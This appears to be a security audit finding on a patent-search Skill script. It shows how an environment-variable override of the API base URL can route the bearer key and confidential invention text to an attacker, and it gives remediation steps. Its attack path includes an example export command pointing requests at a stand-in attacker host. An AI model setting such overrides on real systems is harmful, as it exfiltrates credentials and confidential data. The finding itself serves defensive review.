T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/patentmax_novelty.py:40
- Finding
- Environment-Controlled API Endpoint Can Exfiltrate Credentials and Confidential Patent Data## Vulnerability Details **File Location**: `scripts/patentmax_novelty.py`, lines 40 and 85–89 **Vulnerability Type**: Untrusted endpoint configuration and credential disclosure **Risk Level**: High ### Vulnerable Code ```python BASE_URL = os.environ.get("PATENTMAX_BASE_URL", "https://api.ip930.com").rstrip("/") ``` ```python url = path if path.startswith("http") else f"{BASE_URL}{path}" data = json.dumps(body, ensure_ascii=False).encode("utf-8") if body is not None else None req = urllib.request.Request(url, data=data, method=method) req.add_header("Authorization", f"Bearer {API_KEY}") req.add_header("Accept", "application/json") ``` ### Technical Analysis The script permits `PATENTMAX_BASE_URL` to redefine the destination of every API request. It neither requires HTTPS nor verifies that the configured hostname belongs to the trusted PatentMax service. The `request()` function then unconditionally adds the bearer API key to requests sent to the resulting URL. During report creation, the request body also contains the user's technical solution, which may describe a confidential or unpublished invention. Consequently, any party capable of influencing the process environment can redirect requests to an attacker-controlled HTTPS or plaintext HTTP endpoint. This is especially relevant when the Skill runs through wrappers, automation systems, shared shells, CI environments, or compromised launch configurations. ### Attack Path 1. An attacker gains the ability to influence the environment used to launch the Skill. 2. The attacker sets `PATENTMAX_BASE_URL` to an endpoint under their control, for example: ```bash export PATENTMAX_BASE_URL="https://attacker.example" ``` 3. A user invokes `create`, `status`, `cancel`, or `download`. 4. The script constructs the request URL from the attacker-controlled base URL. 5. It sends the `Authorization: Bearer ...` header to the attacker's server. 6. For `create`, the JSON request body also exposes the submitted p ...[truncated 925 chars]
- Remediation
- ## Remediation Suggestions 1. Remove the `PATENTMAX_BASE_URL` override from production builds and use a fixed trusted endpoint: ```python BASE_URL = "https://api.ip930.com" ``` 2. If endpoint customization is required for testing, place it behind an explicit development or test mode that is disabled by default. 3. Parse and validate the configured endpoint before making a request: - Require the `https` scheme. - Require an exact allowlisted hostname. - Reject embedded credentials, unexpected ports, fragments, and untrusted subdomains. 4. Verify the final request origin before attaching the `Authorization` header. Credentials must never be sent to an origin that has not passed validation. 5. Do not automatically forward authorization headers across redirects. Either disable redirects for authenticated requests or validate every redirect destination against the same strict origin allowlist. 6. Separate test and production credentials and ensure sandbox credentials cannot access production data or incur production charges. 7. Document that launch environments and wrapper configurations are security-sensitive, and avoid inheriting uncontrolled environment variables when invoking the Skill. 8. Add automated tests confirming that HTTP endpoints, unapproved hosts, malformed URLs, and redirects to unapproved origins are rejected before any credential or technical solution is transmitted.